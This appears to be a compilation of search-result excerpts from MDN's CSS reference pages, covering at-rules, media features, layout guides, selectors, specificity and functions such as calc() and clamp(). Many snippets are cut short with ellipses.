...more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@charsetchrome ...
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
kit are named -webkit-min-device-pixel-ratio and -webkit-max-device-pixel-ratio. syntax <number> the number of device pixels per css pixel. ...
...number of device pixels per css pixel. media: media/visual accepts min/max prefixes: yes examples basic compatibility example -moz-device-pixel-ratio may be used for compatibility with firefox older than 16, and alongside -webkit-device-pixel-ratio for compatibility with webkit-based browsers that do not support dppx. example: @media (-webkit-min-device-pixel-ratio: 2), /* webkit-based browsers */ (min--moz-device-pixel-ratio: 2), /* older firefox browsers (prior to firefox 16) */ (min-resolution: 2dppx), /* the standard way */ (min-resolution: 192dpi) /* dppx fallback */ note: see this csswg article for compatibility good practices regarding resolution and dppx. specifications not part of any standard. ...
-webkit-transition - CSS: Cascading Style Sheets
use an @supports feature query instead. syntax @media (-webkit-transition) { /* css to use if transitions are supported */ } examples use @supports instead do not use the -webkit-transition media feature. ...
...use an @supports feature query instead. syntax @media (-webkit-transition) { /* css to use if transitions are supported */ } examples use @supports instead do not use the -webkit-transition media feature. ...
@media - CSS: Cascading Style Sheets
Web › CSS › @media
w frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar accessibility concerns to best accommodate people who adjust a site's text size, use ems when you need a <length> for your media queries. both em and px are valid units, but em works better if the user changes the browser text size. also consider using level 4 media queries to improve the user's experience. for example, prefers-reduced-motion to detect if the user has requested that the system minimize the amount of animation or motion it uses. security because media queries provide insights into the capabilities—and by extension, the features and design—of the device the user is working with, there is th...
...r motion it uses. security because media queries provide insights into the capabilities—and by extension, the features and design—of the device the user is working with, there is the potential that they could be abused to construct a "fingerprint" which identifies the device, or at least categorizes it to some degree of detail that may be undesirable to users. because of this potential, a browser may opt to fudge the returned values in some manner in order to prevent them from being used to precisely identify a computer. a browser might also offer additional measures in this area; for example, if firefox's "resist fingerprinting" setting is enabled, many media queries report default values rather than values representing the actual device state. formal syntax @media <media-query-list>...
@viewport - CSS: Cascading Style Sheets
Web › CSS › @viewport
note: see https://github.com/w3c/csswg-drafts/issues/4766 for discussion around @viewport's removal from the standards track. the @viewport css at-rule lets you configure the viewport through which the document is viewed. it's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as microsoft edge). lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport. this is typically based on the size of the window on desktop browsers that aren't in full screen mode. on mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen...
...ications). @viewport { width: 100vw; /*sets the width of the actual viewport to the device width*/ } note: the use of <meta name="viewport"> tag overrides @viewport syntax the at-rule contains a set of nested descriptors in a css block that is delimited by curly braces. a zoom factor of 1.0 or 100% corresponds to no zooming. larger values zoom in. smaller values zoom out. descriptors browser support for @viewport is weak at this time, with support being largely available in internet explorer and edge. even in those browsers, only a small number of descriptors are available. browsers will ignore @viewport if they don't support it, and will ignore any descriptors that they don't recognize. min-width used in the determination of the width of the viewport when the document is first...
At-rules - CSS: Cascading Style Sheets
Web › CSS › At-rule
at-rules are css statements that instructs css how to behave. they begin with an at sign, '@' (u+0040 commercial at), followed by an identifier and includes everything up to the next semicolon, ';' (u+003b semicolon), or the next css block, whichever comes first. /* general structure */ @identifier (rule); /* example: tells browser to use utf-8 character set */ @charset "utf-8"; there are several at-rules, designated by their identifiers, each with a different syntax: @charset — defines the character set used by the style sheet. @import — tells the css engine to include an external style sheet. @namespace — tells the css engine that all its content must be considered prefixed with an xml namespace. nested at-rules — a subset of nested statements, which can be used as a statem...
...d with an xml namespace. nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the device meets the criteria of the condition defined using a media query. @supports — a conditional group rule that will apply its content if the browser meets the criteria of the given condition. @document — a conditional group rule that will apply its content if the document in which the style sheet is applied meets the criteria of the given condition. (deferred to level 4 of css spec) @page — describes the aspect of layout changes that will be applied when printing the document. @font-face — describes the aspect of an externa...
Border-radius generator - CSS: Cascading Style Sheets
=============== */ .group:before, .group:after { content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider-container * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align:...
...0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-hei...
Box-shadow generator - CSS: Cascading Style Sheets
=============== */ .group:before, .group:after { content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui slider */ .slidergroup { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .slidergroup * { float: left; height: 100%; line-height: 100%; } /* slider */ .ui-slider { height: 10px; width: 200px; margin: 4px 10px; display: block; border: 1px solid #999; border-radi...
...s.prototype.setwidth = function setwidth(value) { this.width = value; this.node.style.width = this.width + 'px'; outputmanager.updateproperty(this.id, 'width', this.width + 'px'); } cssclass.prototype.setheight = function setheight(value) { this.height = value; this.node.style.height = this.height + 'px'; outputmanager.updateproperty(this.id, 'height', this.height + 'px'); } // browser support cssclass.prototype.setrotate = function setrotate(value) { var cssvalue = 'rotate(' + value +'deg)'; this.node.style.transform = cssvalue; this.node.style.webkittransform = cssvalue; this.node.style.mstransform = cssvalue; if (value !== 0) { if (this.rotate === 0) { outputmanager.toggleproperty(this.id, 'transform', true); outputmanager.toggleproperty(this.id, '-...
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
ead in conjunction with the main box alignment page, which details the common features of box alignment across layout methods. note: at the time of writing (may 2018), there is no real support for the box alignment properties in block layout. this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop. align-content and justify-content the justify-content property does not apply to block containers or table cells. the align-content property applies to the block axis in order to align the contents of the box within its container. if a content distribution method such as space-between, space-around or space-evenly is requested then the fallback alignment will be use...
... the block axis. it also does not apply to table cells. absolutely positioned elements the alignment container is the positioned block, accounting for the offset values of top, left, bottom, and right. the normal keyword resolves to stretch, unless the positioned item is a replaced element, in which case it resolves to start. aligning in these layout methods today as we do not currently have browser support for box alignment in block layout, your options for alignment are either to use one of the existing alignment methods or, to make even a single item inside a container a flex item in order to use the alignment properties as specified in flexbox. alignment of blocks horizontally prior to flexbox was typically achieved by way of setting auto margins on the block. a margin of auto will ab...
CSS Box Alignment - CSS: Cascading Style Sheets
s of boxes across a group of alignment subjects. they can be used as values for content alignment with justify-content and align-content and also for self alignment with justify-self and align-self. baseline first baseline last baseline baseline content alignment — specifying a baseline alignment value for justify-content or align-content — works in layout methods that lay items out in rows. the alignment subjects are baseline aligned against each other by adding padding inside the boxes. baseline self alignment shifts the boxes to align by baseline by adding a margin outside the boxes. self alignment is when using justify-self or align-self, or when setting these values as a group with justify-items and align-items. distributed alignment the distributed alignment keywords are us...
... and column-gap, which allows us to set these properties at once: row-gap column-gap gap in the below example, a grid layout uses the gap shorthand to set a 10px gap between row tracks, and a 2em gap between column tracks. in this example i am using the grid-gap property in addition to gap. the gap properties were originally prefixed with grid- in the grid layout specification and some browsers only support these prefixed versions. grid-row-gap grid-column-gap grid-gap the prefixed versions will be maintained as an alias of the unprefixed ones, however you can always double up in the way that you would with vendor prefixes, adding the grid-gap property and then the gap property with the same values. also, be aware that other things may increase the visual gap displayed, for e...
Basic Concepts of Multicol - CSS: Cascading Style Sheets
icol container for short. the columns are anonymous boxes and described as column boxes in the specification. defining columns to create a multicol container you must use at least one of the column-* properties, these being column-count and column-width. the column-count property the column-count property specifies the number of columns that you would like the content to be displayed as. the browser will then assign the correct amount of space to each column box to create the requested number of columns. in the below example we use the column-count property to create three columns on the .container element. the content, including the children of .container is then split between the three columns. in the above example the content is wrapped in paragraph p tags with default styling. the...
...agraph. you can see how this margin causes the first line of text to be pushed down. this is because a multicol container creates a new block formatting context (bfc) which means margins on child elements do not collapse with any margin on the container. the column-width property the column-width property is used to set the optimal width for every column box. if you declare a column-width, the browser will work out how many columns of that width will fit into the multicol container and distribute any extra space equally between the columns. therefore, the column width should be seen as a minimum width, as column boxes are likely to be wider due to the additional space. the column box will only shrink to be smaller than the declared column width in the case of a single column with less avail...
Spanning and Balancing Columns - CSS: Cascading Style Sheets
spanning the columns to cause an item to span across columns use the property column-span with a value of all. this will cause the element to span all of the columns. ...
...he other value for column-fill is auto. in this case, rather than filling all the columns equally so their heights are balanced, the columns are filled sequentially. in the example below we have changed column-fill to auto and the columns are now filled, in order, to the height of the multicol container, leaving some columns empty at the end. note that column balancing is not supported by all browsers. check that you are getting the sort of effect that you expect in the browsers you support. in the next guide you will learn how multicol handles overflow, both within columns and where there are more columns than will fit the container. ...
Ordering Flex Items - CSS: Cascading Style Sheets
this has now been fixed. you should always take the source order as the logical order of the document as all up-to-date user agents will be following the specification and doing so. in the live example below i have added a focus style in order that as you tab from link to link you can see which is highlighted. if you change the order using flex-direction you can see how the tab order contin...
...operty makes sense. keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. then use order for purely visual design tweaks. when doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. you will quickly see if your development choices make getting around the content difficult. ...
OpenType font features guide - CSS: Cascading Style Sheets
ut rather an integral part of the content itself. the font features there are a number of different features to consider. they are grouped and explained here according to the main attributes and options covered in the w3c specifications. note: the examples below show the properties and some example combinations, along with the lower-level syntax equivalents. they may not match exactly due to browser implementation inconsistencies, but in many cases the first example will match the second. the typefaces shown are playfair display, source serif pro, ibm plex serif, dancing script, and kokoro (all available and free to use, most are on google fonts and other services). kerning (font-kerning) this refers to the spacing between specific glyph pairings. this is generally on by default (as rec...
... common ligatures), and there are also more specialized categories like 'discretionary ligatures', 'historical ligatures', and 'contextual alternates'. while these last ones are not technically ligatures, they are generally similar in that they replace specific combinations of letters when they appear together. while more common in script typefaces, in the below example they are used to create arrows: position (font-variant-position) position variants are used to enable typographic superscript and subscript glyphs. these are designed to work with the surrounding text without altering the baseline or line spacing. this is one of the key benefits over using the <sub> or sup elements. capitals (font-variant-caps) one of the more common use cases for opentype features is proper small caps...
Overview of CSS Shapes - CSS: Cascading Style Sheets
perty to it with a value of circle(50%). the result is that the content now curves around the circular shape rather than following the rectangle created by the box of the image. as in this level of the specification an element has to be floated in order to apply <basic-shape> to it; this has the side-effect of creating a simple fallback for many cases. if you do not have shapes support in the browser, the user will see content flowing around the sides of a rectangular box as before. if they do have shapes support then the visual display is enhanced. basic shapes the value circle(50%) is an example of a basic shape. the specification defines four <basic-shape> values, which are: inset() circle() ellipse() polygon() using the value inset() wraps text around a rectangular shape howev...
... create a shape using an image, and also clip away part of that image, you can use the same values. the image below is a square image with a blue background. we have defined a shape using shape-outside: ellipse(40% 50%); and also used clip-path: ellipse(40% 50%); to clip away the same area that we have used to define the shape. developer tools for shapes along with css shapes support in the browser, firefox are shipping a shape path editor in the firefox devtools. this tool means that you can inspect any shapes on your page, and even change the values in the live page. if your polygon isn’t quite right you can use the shapes editor to tweak it, then copy the new value back into your css. the shape path editor will be enabled by default in firefox 60 for shapes generated via clip-path. ...
CSS Text Decoration - CSS: Cascading Style Sheets
h it.</p> <p>this <a class="plain" href="#">link will not be underlined</a>, as links generally are by default. ...
... links generally are by default. ...
Comments - CSS: Cascading Style Sheets
Web › CSS › Comments
by design, comments have no effect on the layout of a document. syntax comments can be placed wherever white space is allowed within a style sheet. they can be used on a single line, or traverse multiple lines. /* comment */ examples /* a one-line comment */ /* a comment which stretches over several lines */ /* the comment below is used to disable specific styling */ /* span { color: blue; font-size: 1.5em; } */ notes the /* */ comment syntax is used for both single and multiline comments. there is no other way to specify comments in external style sheets. ...
...* a comment which stretches over several lines */ /* the comment below is used to disable specific styling */ /* span { color: blue; font-size: 1.5em; } */ notes the /* */ comment syntax is used for both single and multiline comments. there is no other way to specify comments in external style sheets. however, when using the <style> element, you may use <!-- --> to hide css from older browsers, although this is not recommended. as with most programming languages that use the /* */ comment syntax, comments cannot be nested. in other words, the first instance of */ that follows an instance of /* closes the comment. specifications css 2.1 syntax and basic data types #comments ...
Layout and the containing block - CSS: Cascading Style Sheets
the size and position of an element are often impacted by its containing block. most often, the containing block is the content area of an element's nearest block-level ancestor, but this is not always the case. in this article, we examine the factors that determine an element's containing block. when a user agent (such as your browser) lays out a document, it generates a box for every element. each box is divided into four areas: content area padding area border area margin area many developers believe that the containing block of an element is always the content area of its parent, but that isn't necessarily true. let's investigate the factors that determine what an element's containing block is. effects of the containing block before learning what determines the containing blo...
...== (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ background: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing block is the initial containing block (on screens, the viewport). thus, the paragraph's dimensions change based on the size of the browser window. <body> <section> <p>this is a paragraph!</p> </section> </body> body { background: beige; } section { width: 400px; height: 480px; margin: 30px; padding: 15px; background: lightgray; } p { position: fixed; width: 50%; /* == (50vw - (width of vertical scrollbar)) */ height: 50%; /* == (50vh - (height of horizontal scrollbar)) */ margin: 5%; /* == (...
Questions about CSS - CSS: Cascading Style Sheets
Web › CSS › FAQ
cascading style sheets (css) is a rule-based language allowing developers to define styles to apply to html elements (or other markup structures). css gives more control over the appearance of a web page to the page creator than to the browser designer or the viewer. with css, the sources of style definition for a given document element are in this order of precedence: the style attribute on an individual element tag the style element that defines a specific style sheet containing style declarations or a link element that links to a separate document containing the style element. in a web page, the style element is placed between the title statement and the body statement. an imported style sheet, using the css @import notation to automatically import and merge an external sty...
...ontaining style declarations or a link element that links to a separate document containing the style element. in a web page, the style element is placed between the title statement and the body statement. an imported style sheet, using the css @import notation to automatically import and merge an external style sheet with the current style sheet style attributes specified by the viewer to the browser the default style sheet assumed by the browser in general, the web page creator's style sheet takes precedence, but it's recommended that browsers provide ways for the viewer to override the style attributes in some respects. since it's likely that different browsers will choose to implement css1 somewhat differently, the web page creator must test the page with different browsers. ...
Grid wrapper - CSS: Cascading Style Sheets
rid track sizes in the grid-template-columns property. for the central columns with a maximum width we can set a minimum value of 0 or greater and a maximum value that specifies the maximum size the column tracks will grow to. using a numeric unit (pixels, ems, rems) will create a fixed maximum size for the central wrapper, whereas using percentage values or viewport units will mean this wrapper grows or shrinks in response to its context. the outer two columns have a maximum size of 1fr, meaning that they will each expand to fill the remaining available space in the grid container. useful fallbacks or alternative methods when using this recipe at page level it can be useful to set a max-width along with left and right auto margins to center the content horizontally: .grid { max-width: 1...
...ill each expand to fill the remaining available space in the grid container. ...
Pagination - CSS: Cascading Style Sheets
g flexbox — one flex container nested inside another. the <nav> element is designated a flex container in order that we can center the list inside using the justify-content property. the list itself also becomes a flex container to lay the items out as a row. to space the items out we will use a margin on the flex items. alternative methods once the column-gap property has implementation in browsers this could be used instead of margins to space out the items. .pagination { list-style: none; margin: 0; padding: 0; display: flex; column-gap: 2px; } accessibility concerns we want to ensure that a person using a screenreader understands what this navigation does, and where they will go when clicking a link. to help with this we have added aria-label="pagination" on the <nav> el...
... the "see also" section at the end of this document has links to related accessibility topics. ...
Sticky footers - CSS: Cascading Style Sheets
that our live example works. you could also achieve this for a full page by setting a min-height of 100vh on the <body> and then using it as your grid container. choices made in the above example we achieve the sticky footer using css grid layout. the .wrapper has a minimum height of 100% which means it is as tall as the container it is in. ...
...ch means it is as tall as the container it is in. we then create a single column grid layout with three rows, one row for each part of our layout. grid auto-placement will place our items in source order and so the header goes into the first auto sized track, the main content into the 1fr track and the footer into the final auto sized track. the 1fr track will take up all available space and so grows to fill the gap. alternate method if you need compatibility with browsers that do not support grid layout you can also use flexbox to create a sticky footer. the flexbox example starts out in the same way, but we use display:flex rather than display:grid on the .wrapper; we also set flex-direction to column. then we set our main content to flex-grow: 1 and the other two elements to flex-shri...
Privacy and the :visited selector - CSS: Cascading Style Sheets
before about 2010, the css :visited selector allowed websites to uncover a user's browsing history and figure out what sites the user had visited. this was done through window.getcomputedstyle and other techniques. this process was quick to execute, and made it possible not only to determine where the user had been on the web, but could also be used to guess a lot of information about the user's identity. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. ...
... and other techniques. this process was quick to execute, and made it possible not only to determine where the user had been on the web, but could also be used to guess a lot of information about the user's identity. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circumstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never visited any of the links on a page. if you use a sibling selector such as :visited + span, the adjacent element (span in this example) will be styled as if the link were unvisited. in r...
Pseudo-elements - CSS: Cascading Style Sheets
syntax selector::pseudo-element { property: value; } you can use only one pseudo-element in a selector. it must appear after the simple selectors in the statement. note: as a rule, double colons (::) should be used instead of a single colon (:). this distinguishes pseudo-classes from pseudo-elements. ...
...ent in older versions of the w3c spec, most browsers support both syntaxes for the original pseudo-elements. ...
Specificity - CSS: Cascading Style Sheets
specificity is based on the matching rules which are composed of different sorts of css selectors. how is specificity calculated? specificity is a weight that is applied to a given css declaration, determined by the number of each selector type in the matching selector. when multiple declarations have equal specificity, the last declaration found in the css is applied to the element. specificity only applies when the same element is targeted by multiple declarations. as per css rules, directly targeted elements will always take precedence over rules which an element inherits from its ancestor. ...
...icity-adjustment pseudo-class :where() always has its specificity replaced with zero. this chunk of css ... div:where(.outer) p { color: orange; } div p { color: blueviolet; } #no-where-support { margin: 0.5em; border: 1px solid red; } #no-where-support:where(*) { display: none !important; } ... when used with the following html ... <div id="no-where-support"> ⚠️ your browser doesn't support the <code><a href="/docs/web/css/:where" target="_top">:where()</a></code> pseudo-class. </div> <div class="outer"> <p>this is in the outer div.</p> <div class="inner"> <p>this text is in the inner div.</p> </div> </div> ... appears on the screen like this: form-based specificity specificity is based on the form of a selector. in the following case, the select...
Visual formatting model - CSS: Cascading Style Sheets
most of the information applies equally to continuous and paged media. in the visual formatting model, each element in the document tree generates zero or more boxes according to the box model. the layout of these boxes is governed by: box dimensions and type. ...
......
attr() - CSS: Cascading Style Sheets
Web › CSS › attr
editor's draf...
...e, and the validation of the attribute value is deferred to computed value time. css values and units module level 3the definition of 'attr()' in that specification. candidate recommendation added two optional parameters; can be used on all properties; may return values other than <string>. these changes are experimental and may be dropped during the cr phase if browser support is too small. css level 2 (revision 1)the definition of 'attr()' in that specification. recommendation limited to the content property; always returns a <string>. ...
background-image - CSS: Cascading Style Sheets
ed is drawn as if it is closest to the user. the borders of the element are then drawn on top of them, and the background-color is drawn beneath them. how the images are drawn relative to the box and its borders is defined by the background-clip and background-origin css properties. if a specified image cannot be drawn (for example, when the file denoted by the specified uri cannot be loaded), browsers handle it as they would a none value. note: even if the images are opaque and the color won't be displayed in normal circumstances, web developers should always specify a background-color. if the images cannot be loaded—for instance, when the network is down—the background color will be used as a fallback. syntax each background image is specified either as the keyword none or as an <im...
...d by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images. <image> is an <image> denoting the image to display. there can be several of them, separated by commas, as multiple backgrounds are supported. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wca...
background-position-x - CSS: Cascading Style Sheets
with the left edge of the background position layer. center aligns the center of the background image with the center of the background position layer. right aligns the right edge of the background image with the right edge of the background position layer. <length> the offset of the given background image's left vertical edge from the background position layer's left vertical edge. (some browsers allow assigning the right edge for offset). <percentage> the offset of the given background image's horizontal position relative to the container. a value of 0% means that the left edge of the background image is aligned with the left edge of the container, and a value of 100% means that the right edge of the background image is aligned with the right edge of the container, thus a value of 5...
...ckground-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-xchr...
background-position-y - CSS: Cascading Style Sheets
ound position layer. center aligns the vertical center of the background image with the vertical center of the background position layer. bottom aligns the bottom edge of the background image with the bottom edge of the background position layer. <length> the offset of the given background image's horizontal edge from the corresponding background position layer's top horizontal edge. (some browsers allow assigning the bottom edge for offset). <percentage> the offset of the given background image's vertical position relative to the container. a value of 0% means that the top edge of the background image is aligned with the top edge of the container, and a value of 100% means that the bottom edge of the background image is aligned with the bottom edge of the container, thus a value of 50...
...ckground-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-ychr...
border-inline-end - CSS: Cascading Style Sheets
element. ...
...finition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is no...
box-decoration-break - CSS: Cascading Style Sheets
g: 0em 1em; border-radius: 16px; border-style: solid; margin-left: 10px; font: 24px sans-serif; line-height: 2; } ... <span class="example">the<br>quick<br>orange fox</span> ... results in: adding box-decoration-break: clone to the above styles: -webkit-box-decoration-break: clone; box-decoration-break: clone; ... results in: you can try the two inline examples above in your browser. here's an example of an inline element using a large border-radius value. the second "im" has a line-break between the "i" and the "m". for comparison, the first "im" is without line breaks. note that if you stack the rendering of the two fragments horizontally next to each other it will result in the non-fragmented rendering. try the above example in your browser. block box fragments a ...
...ragmentation results in: fragmenting the above block into three columns results in: note that stacking these pieces vertically will result in the non-fragmented rendering. now, the same example but styled with box-decoration-break: clone results in: note here that each fragment has an identical replicated border, box-shadow, and background. you can try the block examples above in your browser. specifications specification status comment css fragmentation module level 3the definition of 'box-decoration-break' in that specification. candidate recommendation initial definition. ...
box-direction - CSS: Cascading Style Sheets
of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | reverse | inherit examples setting box direction .example { /* bottom-to-top layout */ -moz-box-direction: reverse; /* mozilla */ -webkit-box-direction: reverse; /* webkit */ box-direction: reverse; /* as specified */ } specifications not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecated...
...internet android full support 1.0prefixed full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support no support no supportnon-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also box-orient box-pack box-align flex-direction ...
box-flex-group - CSS: Cascading Style Sheets
gns the flexbox's child elements to a flex group. /* <integer> values */ box-flex-group: 1; box-flex-group: 5; /* global values */ box-flex-group: inherit; box-flex-group: initial; box-flex-group: unset; for flexible elements assigned to flex groups, the first flex group is 1 and higher values specify subsequent flex groups. the initial value is 1. when dividing up the box's extra space, the browser first considers all elements within the first flex group. each element within that group is given extra space based on the ratio of that element's flexibility compared to the flexibility of other elements within the same flex group. if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any...
...instead, distribution of space inside the flex container is now handled using flex-basis, flex-grow, and flex-shrink. specifications not part of any standard. ...
box-flex - CSS: Cascading Style Sheets
Web › CSS › box-flex
a property for controlling parts of the xul box model. it does not match either the old css flexible box layout module drafts for 'box-flex' (which were based on this property) or the behavior of '-webkit-box-flex' (which is based on those drafts). see flexbox for information about the current standard. the -moz-box-flex and -webkit-box-flex css properties specify how a -moz-box or -webkit-box grows to fill the box that contains it, in the direction of the containing box's layout. /* <number> values */ -moz-box-flex: 0; -moz-box-flex: 2; -moz-box-flex: 3.5; -webkit-box-flex: 0; -webkit-box-flex: 2; -webkit-box-flex: 3.5; /* global values */ -moz-box-flex: inherit; -moz-box-flex: initial; -moz-box-flex: unset; -webkit-box-flex: inherit; -webkit-box-flex: initial; -webkit-box-flex: unset; ...
...flex: 2; -moz-box-flex: 3.5; -webkit-box-flex: 0; -webkit-box-flex: 2; -webkit-box-flex: 3.5; /* global values */ -moz-box-flex: inherit; -moz-box-flex: initial; -moz-box-flex: unset; -webkit-box-flex: inherit; -webkit-box-flex: initial; -webkit-box-flex: unset; syntax the box-flex property is specified as a <number>. if the value is 0, the box does not grow. if it is greater than 0, the box grows to fill a proportion of the available space. notes the containing box allocates the available extra space in proportion to the flex value of each of the content elements. content elements that have zero flex do not grow. if only one content element has nonzero flex, then it grows to fill the available space. content elements that have the same flex grow by the same absolute amounts. if the ...
calc() - CSS: Cascading Style Sheets
Web › CSS › calc
ise, calc(8px + -50%) is treated as a length followed by an addition operator and a negative percentage. the * and / operators do not require whitespace, but adding it for consistency is both allowed and recommended. division by zero results in an error being generated by the html parser. math expressions involving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest calc() functions, in which case the inner ones are treated as simple parentheses. formal syntax calc( <calc-sum> )where <calc-sum> = <calc-product> [ [ '+' | '-' ] <calc-product> ]*where <calc-product> = <calc-value> [ '*' <calc-value> | '/' <number> ]*...
...ill scale if the page is zoomed. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 usage with integers when calc() is used where an <integer> is expected, the value will be rounded to the nearest integer. for example: .modal { z-index: calc(3 / 2); } this will give .modal a final z-index value of 2. note: the chrome browser currently won’t accept some values returned by calc() when an integer is expected. this includes any division, even if it results in an integer. ie. z-index: calc(4 / 2); will not be accepted. examples positioning an object on screen with a margin calc() makes it easy to position an object with a set margin. in this example, the css creates a banner that stretches across the window, with ...
clamp() - CSS: Cascading Style Sheets
Web › CSS › clamp
is allowed. clamp(min, val, max) is resolved as max(min, min(val, max)) the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that using clamp() for font sizes, as in these examples, allows you to set a font-size that grows with the size of the viewport, but doesn't go below a minimum font-size or above a maximum font-size. it has the same effect as the code in fluid typography but in one line, and without the use of media queries. syntax the clamp() function takes three comma separated expressions as its parameter, in the order of minimum value, preferred value, maximum value. the minimum value is the smallest (...
..., multiplication and division without using the calc() function itself. you may also use parentheses to establish computation order when needed. you can use different units for each value in your expressions, and different units in any math function making up any of the arguments. notes math expressions involving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest max() and min() functions as expression values, in which case the inner ones are treated as simple parentheses. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() fun...
conic-gradient() - CSS: Cascading Style Sheets
